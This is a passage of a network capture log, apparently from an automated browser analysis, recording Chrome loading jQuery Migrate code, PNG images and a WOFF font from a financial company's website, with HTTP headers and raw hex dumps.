2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 74 29 7d 2c 22 70 72 65 2d 6f 6e 2d 6d 65 74 68 6f 64 73 22 2c 22 6a 51 75 65 72 79 2e 66 6e 2e 75 6e 62 69 6e 64 28 29 20 69 73 20 64 65 70 72 65 63 61 74 65 64 22 29 2c 63 28 73 2e 66 6e 2c 22 64 65 6c 65 67 61 74 65 22 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6f 6e 28 74 2c 65 2c 72 2c 6e 29 7d 2c 22 70 72 65 2d 6f 6e 2d 6d 65 74 68 6f 64 73 22 2c 22 6a 51 75 65 72 79 2e 66 6e 2e 64 65 6c 65 67 61 74 65 28 29 20 69 73 20 64 65 70 72 65 63 61 74 65 64 22 29 2c 63 28 73 2e 66 6e 2c 22 75 6e 64 65 6c 65 67 61 74 65 22 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3f 74 68 69 73 2e 6f 66 66 28 65 2c 22 2a 2a 22 29 3a 74 Data Ascii: t)},"pre-on-methods","jQuery.fn.unbind() is deprecated"),c(s.fn,"delegate",function(e,t,r,n){return this.on(t,e,r,n)},"pre-on-methods","jQuery.fn.delegate() is deprecated"),c(s.fn,"undelegate",function(e,t,r){return 1===arguments.length?this.off(e,"**"):t
2024-04-11 20:34:55 UTC	1175	IN	Data Raw: 6a 61 78 53 65 74 74 69 6e 67 73 2e 74 72 61 64 69 74 69 6f 6e 61 6c 3b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 74 26 26 72 26 26 28 75 28 22 70 61 72 61 6d 2d 61 6a 61 78 2d 74 72 61 64 69 74 69 6f 6e 61 6c 22 2c 22 6a 51 75 65 72 79 2e 70 61 72 61 6d 28 29 20 6e 6f 20 6c 6f 6e 67 65 72 20 75 73 65 73 20 6a 51 75 65 72 79 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 74 72 61 64 69 74 69 6f 6e 61 6c 22 29 2c 74 3d 72 29 2c 44 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2c 74 29 7d 2c 22 70 61 72 61 6d 2d 61 6a 61 78 2d 74 72 61 64 69 74 69 6f 6e 61 6c 22 29 29 2c 63 28 73 2e 66 6e 2c 22 61 6e 64 53 65 6c 66 22 2c 73 2e 66 6e 2e 61 64 64 42 61 63 6b 2c 22 61 6e 64 53 65 6c 66 22 2c 22 6a 51 75 65 72 79 2e 66 6e 2e 61 6e 64 53 65 6c 66 28 29 20 69 73 20 64 65 Data Ascii: jaxSettings.traditional;return void 0===t&&r&&(u("param-ajax-traditional","jQuery.param() no longer uses jQuery.ajaxSettings.traditional"),t=r),D.call(this,e,t)},"param-ajax-traditional")),c(s.fn,"andSelf",s.fn.addBack,"andSelf","jQuery.fn.andSelf() is de

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49753	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:55 UTC	622	OUT	GET /wp-content/uploads/2017/05/broker.png HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:55 UTC	711	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3162 content-type: image/png x-fw-server: Flywheel/5.1.0 cache-control: public, max-age=31536000 referrer-policy: no-referrer-when-downgrade x-fw-version: 5.0.0 x-content-type-options: nosniff x-xss-protection: 1 etag: "5a03ef32-c5a" last-modified: Thu, 09 Nov 2017 06:01:22 GMT x-fw-hash: thumialfjs Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:55 GMT X-Served-By: cache-ewr18150-EWR, cache-ewr18179-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867695.203732,VS0,VE60 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 64 00 00 00 1b 08 06 00 00 00 8a 96 2a 40 00 00 0c 21 49 44 41 54 68 81 ed 5a 79 58 94 e5 16 47 c8 50 b3 d4 b4 5b 59 a6 56 76 7b ae a6 a2 b7 7a f2 ea 6d d5 ca 0c cd d2 0a 71 c3 a5 54 52 31 cd ba a6 a1 e1 55 14 2c ec aa 08 66 c8 2a c3 22 b2 c4 3a 82 2c 82 b2 0c 0c b1 ce be 31 0c b3 30 cc be 73 cf 19 e7 ab 8f 71 58 bc 51 58 cf fd e3 3c f3 bd e7 3b ef fa 7b cf ef 9c 33 33 6e b6 ee 6e 77 90 61 20 6e 8e cf de c4 9d f4 fc 17 87 bd 1b a9 6f 7f fd ef ea e5 99 2c f7 f5 33 c6 30 d2 7c f8 39 12 64 82 8b f5 bb b9 d0 3d 00 32 dc 21 03 5d 73 7f ef 9d e5 21 10 8f db ec 43 9e cb 9d 58 d4 ff e5 0e 11 e7 1b fe 87 97 76 a5 ee c1 d3 39 f5 bb 7c 4f 52 d3 5f 3a 70 b9 6a e1 a1 8c 1b 1b 4e 15 26 c6 97 30 fc 34 06 f3 3d 7d Data Ascii: PNGIHDRd@!IDAThZyXGP[YVv{zmqTR1U,f":,10sqXQX<;{33nnwa no,30\|9d=2!]s!CXv9\|OR_:pjN&04=}
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 2b 11 10 4a 19 73 f5 cd 35 d9 86 05 25 57 07 a1 cd f2 63 b9 54 fb 25 88 2c 89 c1 f6 aa b0 82 2c 95 de 34 1a 75 15 ad ed ff 38 96 46 db 0f d4 7d 17 19 10 99 4a 3f 7e fe 97 69 4d d8 fe 3c b6 e2 3b 17 eb 1a 79 0b 20 bb b3 05 4c f0 88 cb e0 fa c9 70 f0 15 f6 03 c8 e2 97 9b 80 d3 09 40 92 7f 52 f8 13 83 a4 34 28 02 50 17 76 4d 72 96 3c 38 64 54 93 96 44 33 ba e1 26 cb f0 70 09 40 aa 45 da 97 81 8e 2c ef c0 2d a7 b7 eb e6 a3 2d 5d ac 7b 01 c7 58 1a cb 34 1c bc d2 76 91 90 af a8 22 0a 82 0d 34 68 53 42 c6 44 00 92 de ac dc 44 cc f3 e6 e1 ac eb b8 c1 c2 9f 44 af 55 89 b4 af 9e ad 94 86 dc 0e 20 67 f3 1b 77 13 ba a2 86 b6 45 a8 db 14 7e 35 85 5a 2f 5c 88 cf 90 bd 69 d7 fd a7 90 42 88 ef 49 6a 2a ea 1f 01 0a d3 1a cd a3 c0 3b 24 0f 6d c4 18 a6 7a c2 d5 3c 04 20 21 Data Ascii: +Js5%WcT%,,4u8F}J?~iM<;y Lp@R4(PvMr<8dTD3&p@E,--]{X4v"4hSBDDDU gwE~5Z/\iBIj*;$mz< !
2024-04-11 20:34:55 UTC	406	IN	Data Raw: 06 e5 47 aa 95 a1 79 f9 50 5c 7e 96 51 c5 f5 fe 26 93 7e b0 8a d5 f1 1c 14 90 97 a1 3e 0a 09 88 ba 76 5e ac d4 8d 7f ef 78 6e 71 78 7e c3 d6 a5 47 b3 0b b1 cf a1 a4 aa e0 35 27 a9 97 06 13 90 df 42 90 d7 47 da 7a fe 0b 63 d0 45 55 59 36 bf f9 83 57 aa e1 f3 96 94 b3 3f 69 86 ec ac b4 49 fc 22 04 f9 09 32 b5 de fe 5b cb f2 e3 b9 05 ab c2 a8 39 39 34 fe 1b 04 20 1b 4e 15 5e da 1a 51 1c ef f3 6d 41 0e 02 b2 fc 58 4e 69 50 4a 75 20 00 93 8b b5 d0 fb a1 79 d9 fe e7 4a a2 04 32 cd a4 3b 19 10 b2 dc 11 7f 38 70 16 00 63 e1 37 19 75 7b b7 47 96 9e 0d 4e ad b1 7b d8 aa b0 82 4c e2 bd 03 90 57 00 90 34 26 64 70 50 54 6a 11 10 9f 6f f2 a9 90 ea fa 42 2d 73 30 13 3c c9 fb 68 76 99 6f 18 35 f7 44 46 9d 73 2c 1b 30 20 68 33 e4 3f 79 fe 06 72 5b 97 11 bc 62 02 95 2e 7c Data Ascii: GyP\~Q&~>v^xnqx~G5'BGzcEUY6W?iI"2[994 N^QmAXNiPJu yJ2;8pc7u{GN{LW4&dpPTjoB-s0<hvo5DFs,0 h3?yr[b.\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49752	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:55 UTC	633	OUT	GET /wp-content/themes/x-child/images/linkedin-28.png HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:55 UTC	711	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2143 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/png x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "5a9524da-85f" last-modified: Tue, 27 Feb 2018 09:28:58 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:55 GMT X-Served-By: cache-ewr18144-EWR, cache-ewr18182-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867695.206503,VS0,VE68 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1c 00 00 00 1c 08 06 00 00 00 72 0d df 94 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDRrtEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-04-11 20:34:55 UTC	765	IN	Data Raw: ec 13 69 dc 5e 2c e0 b7 2c 23 2d ed 59 eb 11 1a 77 96 72 a6 1e 65 99 eb 88 aa 49 c6 3d 9b 06 98 0d 42 9c a0 fa 9a 49 db 70 36 61 84 78 ca 47 77 5c e3 bb b9 1c f8 13 e9 4e 1f ab 8c d8 a7 f6 25 d0 19 63 36 11 e0 e7 a5 32 8a b9 0a 46 9e 4c 63 88 c1 75 77 a5 82 f1 3f 59 9d a8 1b 58 a0 10 35 64 0b b9 08 65 8e 36 b9 80 c1 d1 df e6 61 e6 fc 41 74 f0 bf 5c 2f 7d 73 0f 57 ee ac 60 ec 95 01 0c 67 92 f6 dd 85 a9 2c f6 a7 3c bc 35 bc 17 6b e8 93 f7 0a 78 f9 ca 7d 2c ad 86 8e 74 83 a5 e6 28 55 35 3d cd 3e 57 36 05 95 58 2e 8b 0f c6 b8 9d 4a dc 49 f0 12 2d 7b 6f b8 9b 64 bd 4e fd 20 42 81 41 75 72 20 8d 4f 4f 65 50 cb e3 0d b9 69 7a 34 65 33 5b d5 8b 7c e0 52 44 c0 2c 8f 1c 6d e8 de 05 54 20 d1 a6 f1 ee 0f 0b 78 e1 8b 39 7c 3f 9f 47 82 67 6a 8a 65 8c 1e 48 e1 e9 7e 16 Data Ascii: i^,,#-YwreI=BIp6axGw\N%c62FLcuw?YX5de6aAt\/}sW`g,<5kx},t(U5=>W6X.JI-{odN BAur OOePiz4e3[\|RD,mT x9\|?GgjeH~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49754	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:55 UTC	646	OUT	GET /wp-content/themes/x-child/fonts/GothamMedium.woff HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.bfjfinancial.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.bfjfinancial.com/wp-content/themes/x-child/css/style.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:55 UTC	738	IN	HTTP/1.1 200 OK Connection: close Content-Length: 30928 referrer-policy: no-referrer-when-downgrade last-modified: Thu, 25 May 2017 11:41:34 GMT x-xss-protection: 1 cache-control: public, max-age=31536000 etag: "5926c2ee-78d0" x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff x-fw-server: Flywheel/5.1.0 content-type: application/font-woff Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:55 GMT X-Served-By: cache-ewr18141-EWR, cache-ewr18161-EWR X-Cache: MISS, HIT X-Cache-Hits: 0, 0 X-Timer: S1712867696.781649,VS0,VE2 Vary: Authorization X-FW-Serve: TRUE X-FW-Static: YES Access-Control-Allow-Origin: * X-FW-Type: VISIT
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 78 d0 00 14 00 00 00 01 03 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 44 45 46 00 00 73 cc 00 00 00 0c 00 00 00 16 00 01 00 00 47 50 4f 53 00 00 73 d8 00 00 00 7a 00 00 00 8e d9 a8 f1 6c 47 53 55 42 00 00 74 54 00 00 01 26 00 00 01 f2 d0 87 e5 f2 4c 54 53 48 00 00 04 d8 00 00 00 17 00 00 00 e6 79 78 9b 00 4f 53 2f 32 00 00 02 34 00 00 00 59 00 00 00 60 6b 91 3e 5a 56 44 4d 58 00 00 75 7c 00 00 03 53 00 00 05 e0 72 69 79 f0 63 6d 61 70 00 00 11 94 00 00 02 da 00 00 06 0a e2 d4 e6 88 63 76 74 20 00 00 16 00 00 00 00 1c 00 00 00 1c 01 20 08 a3 66 70 67 6d 00 00 14 70 00 00 01 38 00 00 02 d5 68 09 32 61 67 61 73 70 00 00 73 bc 00 00 00 10 00 00 00 10 00 17 00 09 67 6c 79 66 00 00 16 1c 00 00 58 Data Ascii: wOFFxGDEFsGPOSszlGSUBtT&LTSHyxOS/24Y`k>ZVDMXu\|Sriycmapcvt fpgmp8h2agaspsglyfX
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 35 d6 94 6e ac 1d ba 15 1f 9b 86 8d 2f 36 eb cd 86 6e b6 6c cb f8 0a ec b8 36 3f 63 b3 31 e8 0e ac 68 1a 86 63 1b 58 1e 37 39 58 d1 31 1c c3 b0 d6 96 65 33 87 96 fb e1 07 c3 dc 2c 45 6d f0 5f 8e 65 69 cf f5 da b6 6d 8b aa fb 0c 73 4d 15 2d 0c 8e c5 dc 85 71 a9 7d 4d 8c eb cd 7a 61 5c ee b7 de 19 19 56 a0 bf f6 1a 1f 3a b6 63 39 f8 ce b6 39 d6 fd 00 a4 ec 8d 45 bb af 19 6a b5 88 d1 24 5a 03 1b 53 01 b6 63 7f 41 2d 75 51 1a 29 b7 e0 2d 82 da a4 03 73 4c cb b1 37 1b 9b 59 c6 9a 19 0c 1f 03 c1 e1 8c 70 e9 2e 83 04 b0 36 a8 d9 b5 a9 2a 5a cb 71 1c 60 fe 0f a3 65 2e eb 33 9b 7b e6 c2 68 63 61 ca 01 e8 da b4 37 d6 47 ac d7 94 c7 b1 02 7a 89 0c 28 c1 1c 30 2e c4 2e d6 7d 07 24 46 6b 43 e9 60 a4 fb f0 31 f2 f1 31 b5 19 05 58 ce 27 e3 fb b2 cb c2 1f 61 50 0b f1 5a Data Ascii: 5n/6nl6?c1hcX79X1e3,Em_eimsM-q}Mza\V:c99Ej$ZScA-uQ)-sL7Yp.6*Zq`e.3{hca7Gz(0..}$FkC`11X'aPZ
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: b4 bd cf 08 1c df 0b d1 86 50 fa 79 5c 8d 72 85 24 4f 87 99 a6 01 18 e2 d7 8b 8c 78 10 e8 20 44 8a 6d 87 61 a8 ca 04 bb 84 d8 da 51 51 90 25 59 98 45 61 18 c7 2d 8a c7 89 90 be f4 43 3f 0c 78 48 92 d8 65 80 5b 5c e9 06 7e 46 26 65 9e 97 24 51 98 64 b1 ff 1e 44 46 8c 94 86 0e 23 5c 0f 77 43 a7 34 d5 52 d6 59 a0 b3 14 9e 2d 43 e5 d4 b2 0e 82 04 08 59 5b cb 5c 4a ac 1f 89 88 31 6c 60 db 72 4c 42 54 45 8c 59 96 c5 71 6c cb cf 08 31 43 22 5f c3 72 61 99 b6 b3 5a e1 8c aa 38 2a 62 07 02 68 3c d5 fc 44 68 1d 6b 98 32 72 1c e8 e3 37 59 92 66 51 94 a5 0c 1d 2c b3 22 2a 12 1d a5 e9 98 24 31 00 61 98 10 8a 86 6e 04 8b 85 4e ad a3 28 12 4a e8 b0 24 93 72 a5 b2 2c 8d b2 22 0d df a1 e8 42 75 51 1a 44 42 08 19 46 5a 05 ba 28 62 a5 ba 42 c7 45 e1 ba 69 1d f9 ac f3 bb 30 Data Ascii: Py\r$Ox DmaQQ%YEa-C?xHe[\~F&e$QdDF#\wC4RY-CY[\J1l`rLBTEYql1C"_raZ8bh<Dhk2r7YfQ,"$1anN(J$r,"BuQDBFZ(bBEi0
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 58 1d f1 0b 6d b8 15 fb fd e5 70 da 1f 4e 61 08 1b 8c bf 3d 5d 6f 8f e7 d3 d3 43 b4 bd ed 7f 7c 7a 39 bf 5c 8f c7 87 fb 7f df ae 77 f5 50 c3 30 f3 79 3a ef b2 f3 01 63 31 7c 3b 9c ce e7 b2 2f 0e bb 1f e7 dd d4 c5 5d f7 f4 74 3b 3f bd 3c cc 4b 4c 3b 04 8d be c3 89 e2 80 28 da f9 78 e8 b6 87 e7 e7 4b df ff fe b2 bf bc 3c e7 f9 fd db 69 d4 bf 0f bf ef f7 4f fa e9 e9 e5 5f bf 0f 3f f5 7d 10 ec ae cd 35 4d 4f a7 2a 08 fa bf 9e ce 4f e7 33 8d 98 97 97 97 87 87 87 b0 ff 8c 63 72 ec af bb f3 f9 6e 3a fe fa ed df ff 99 56 38 a3 db a7 eb db a3 ee ba f6 aa 1b 3d 7f ab 2f 97 87 bb db e5 ee 16 45 d7 eb 75 ff af d7 6f df 5f ef 6f af 2f e9 e1 db e5 d7 d7 b7 fb b7 6f d7 db cb f3 ff 7d ff f6 d4 cf fd 74 9e 4e f7 c7 fb 73 79 7f 87 b1 18 fd 71 77 bb bf 6f a6 e6 ee fc eb e9 Data Ascii: XmpNa=]oC\|z9\wP0y:c1\|;/]t;?<KL;(xK<iO_?}5MO*O3crn:V8=/Euo_o/o}tNsyqwo
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: a2 fc 64 23 e5 93 bf 95 9f 62 e6 49 a3 fc ac 57 5e 21 62 a8 7c eb 86 cf 07 86 7f 01 da ea d3 6a 78 da db c1 c0 a5 bd 83 81 41 9b 61 17 03 23 03 13 03 93 36 e3 2e 06 66 08 63 3f 90 a1 c7 a0 c6 20 cb 20 ce c0 c7 c0 c0 c0 a1 bd 9f 81 05 a8 12 59 84 61 3f 50 9b 11 9a 22 26 06 4b 06 7d 06 55 84 a2 5d 0c ac 40 9d ec 20 8b 14 5c 6b 33 25 5c 00 18 14 0d 44 00 00 00 00 14 00 6f 00 61 00 7a 00 82 00 00 00 0c 02 10 00 0b 02 bc 00 0c 02 da 00 06 00 14 78 da cd bd 09 7c 23 c5 b1 30 3e dd 33 92 ac c3 b2 64 59 92 6f 59 92 25 f9 96 6d 59 96 6f af cf bd 0f ef b2 f7 c1 de c0 b2 2c cb bd 66 b9 61 81 85 00 81 c0 0b 21 21 0b e1 0c 10 8e 1c 64 d7 4b 12 12 08 09 e4 f2 0b 21 bc 07 26 1f 2f 09 e4 26 24 df 06 72 60 f9 ab ea ee 19 8d 2c 79 ed 4d f2 fe bf ff c2 78 4a 35 3d 3d dd d5 Data Ascii: d#bIW^!b\|jxAa#6.fc? Ya?P"&K}U]@ \k3%\Doazx\|#0>3dYoY%mYo,fa!!dK!&/&$r`,yMxJ5==
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 48 26 d6 9e b2 06 19 35 c8 ac 41 36 0d ca 13 10 90 c4 14 49 44 12 de 48 cc 94 f0 42 3b 46 bc c1 6f ed ac 3c ff fc ca 9d f6 61 bb 0a 90 bf 2e ec 6e 6e ee 5e 78 e9 a5 e2 8e e5 9a 2f ed a1 ed 74 0d b0 91 de e3 f0 0d 59 37 7b cb c0 20 cd 70 37 8c 43 89 2d 51 9c ca 8f 43 02 22 92 c8 62 52 97 d8 ec 04 b3 0d cc 32 c0 2a 61 76 01 f6 68 7a fe f9 f3 e1 7f 52 bd ef 1b df d8 f7 0d 78 27 30 75 ae f4 b2 74 18 3e 11 3e 0e b5 52 d4 f6 41 f1 c0 1c cd 10 02 80 c0 ad 11 c8 10 89 1b d8 64 8a 1d 5a b6 64 4b fe 92 c3 17 9e b6 c4 c8 e9 d9 26 7d 48 b6 92 7d 90 4d ae 74 9c cd 98 14 32 04 42 f8 dd fe 36 52 95 fc 2f b2 ef 12 4c 87 d2 02 7e 57 96 2a 53 d2 89 74 52 a1 63 f0 d0 a1 c3 87 e1 e7 d4 af a6 ae a2 05 72 39 bc 6b c5 37 a2 f8 02 d4 13 b8 12 79 fc ac 64 d7 59 72 f9 47 db 51 1e Data Ascii: H&5A6IDHB;Fo<a.nn^x/tY7{ p7C-QC"bR2avhzRx'0ut>>RAdZdK&}H}Mt2B6R/L~WStRcr9k7ydYrGQ
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: a4 c5 23 ed 6d 1b fb 2a c3 43 5b 3b fa 37 86 22 0d d5 4b f7 93 cd 05 c1 fa 62 9a 58 54 00 6a 22 4d 0c 27 3f 19 0d 6d 09 54 54 74 8e 34 56 d4 f8 3a 56 c6 28 8c fb 50 28 14 b9 fc 0c 7a da 2d 3b db a0 d4 0b a1 ec 3f a4 0e e8 3c 26 9c 9d 32 ed 19 44 95 88 58 a5 15 ac b4 22 99 66 b4 63 a0 36 8e ac 41 15 2e 90 5b 2e 3c 74 08 45 0c ea 38 cc db 22 02 b2 11 7e d3 0c fc 7a 69 4a 3a 52 59 2d 70 68 95 5f 6b 92 92 05 3f 63 c9 fa 5d 78 e8 40 f6 8d 5f 4c 09 51 20 33 07 23 5c 90 72 1f 3a a4 ca 52 f4 fe c3 50 c5 61 69 29 0d d2 0b e0 c3 6e 09 73 c2 29 61 8c 4d cb 94 cf e3 f1 90 3b 97 b8 87 c9 5b c9 4f 93 5d a4 66 ef 5b 17 1c b9 ef 42 5e f6 35 d2 e3 b4 86 ba 19 bd aa 32 a9 92 12 cd f4 84 40 be ec 84 6b 0d f9 49 b2 8e 5d 25 fb c9 9e fd c8 3b 36 43 59 3a b4 b2 c8 a2 2c 04 99 Data Ascii: #m*C[;7"KbXTj"M'?mTTt4V:V(P(z-;?<&2DX"fc6A.[.<tE8"~ziJ:RY-ph_k?c]x@_LQ 3#\r:RPai)ns)aM;[O]f[B^52@kI]%;6CY:,
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 6e 01 31 cd a7 10 42 93 34 64 ed 27 68 39 ca e1 36 9a 98 d3 ef 8c 39 83 4e 6c 9b 83 64 d9 c1 83 c9 2f 42 d3 24 df 22 c1 c9 41 12 49 fe 37 a4 dc 06 5f 9a 60 6b 2c 51 94 21 d2 ed 0f 33 59 07 0d dc 3a e8 0c 6e 3b 08 f9 4d 0e c2 8b ee a9 0f c8 db 90 4f be 14 e7 33 a7 65 6e 7c 84 6b 9a 20 41 69 5a 65 1c 8a 0c 82 94 9d fc 65 64 6f 70 c4 d7 57 df dc 7d 45 c0 e7 5b 63 e9 6b 5c 15 a9 1d 18 26 df 4b 36 f7 6e f2 f9 7c 92 4a f3 97 18 cd 77 a4 ca 3f 2b 45 33 26 95 93 50 74 0c 2a 6c 14 72 34 d4 99 c4 cc 24 28 9b dc 48 d1 a5 9f 04 5a 36 de f5 c7 73 90 aa f7 91 ad c9 57 93 e7 91 ce fd df 13 e5 1a 82 72 19 90 1e b3 d2 55 b4 30 a3 87 18 55 31 14 dc e0 1b fb 93 6e 20 f1 97 f7 f3 3c 65 0b e4 69 93 1e e2 7d cb 1e e5 bd 89 f7 2f 64 5c d8 b3 b0 c0 40 5b 28 b0 aa 2b e3 c0 b0 e8 Data Ascii: n1B4d'h969Nld/B$"AI7_`k,Q!3Y:n;MO3en\|k AiZeedopW}E[ck\&K6n\|Jw?+E3&Pt*lr4$(HZ6sWrU0U1n <ei}/d\@[(+
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 2b c8 b9 ea f7 8d 4c 51 48 7d 3f 45 d0 e3 cc 92 68 d4 6c 89 fc fb 5e 90 85 40 6d f2 77 3e ff 3c 69 49 7e 3f 48 af 3a fd a3 6f 89 35 62 f2 07 f2 1c fd 1a bc 12 16 76 4d 43 a6 7f 01 1a 3a a9 36 b2 bc c1 88 29 f8 a3 35 9f dc bc 7b f7 46 fa b5 f1 eb ae c3 7a 24 a7 b6 d2 0d 53 5f d7 d6 9a a9 58 6b 36 01 55 29 dd 34 f9 60 ff 16 f6 bd cb e8 2a 72 1a fd 10 d2 a1 ed 92 b0 fa 8e 31 49 80 37 ba 2b e1 0d 5e b6 6f cf 16 fa 52 d3 83 88 ad 02 fe 65 a2 85 c0 76 9a a4 c7 f8 44 8f 32 42 23 f0 aa 20 97 26 85 8c d9 0c 1c ac 78 1c a5 1e 2e 5d 1e 95 82 9a 17 d5 18 48 70 c5 52 a3 ae 4f d6 63 dd ea 75 b6 61 e1 89 66 c8 ba e4 e4 d3 16 f8 0a 98 34 8e cb 1b 4e 78 68 61 43 27 80 4e 6e 6c 76 ac 77 e0 cc c4 04 0a 75 2e e1 b6 3c 53 7c 9a a5 3e ae b3 82 7a dc 4e 72 87 b7 37 d8 3e af b3 Data Ascii: +LQH}?Ehl^@mw><iI~?H:o5bvMC:6)5{Fz$S_Xk6U)4`*r1I7+^oRevD2B# &x.]HpROcuaf4NxhaC'Nnlvwu.<S\|>zNr7>
